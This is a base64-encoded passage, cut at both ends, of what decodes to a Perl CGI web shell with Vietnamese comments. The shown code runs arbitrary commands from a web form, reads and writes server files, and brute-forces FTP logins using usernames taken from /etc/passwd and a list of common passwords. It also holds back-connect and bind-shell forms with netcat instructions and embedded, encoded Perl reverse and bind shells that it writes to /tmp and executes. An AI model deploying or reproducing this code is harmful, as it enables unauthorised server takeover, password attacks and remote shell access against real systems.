oZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7C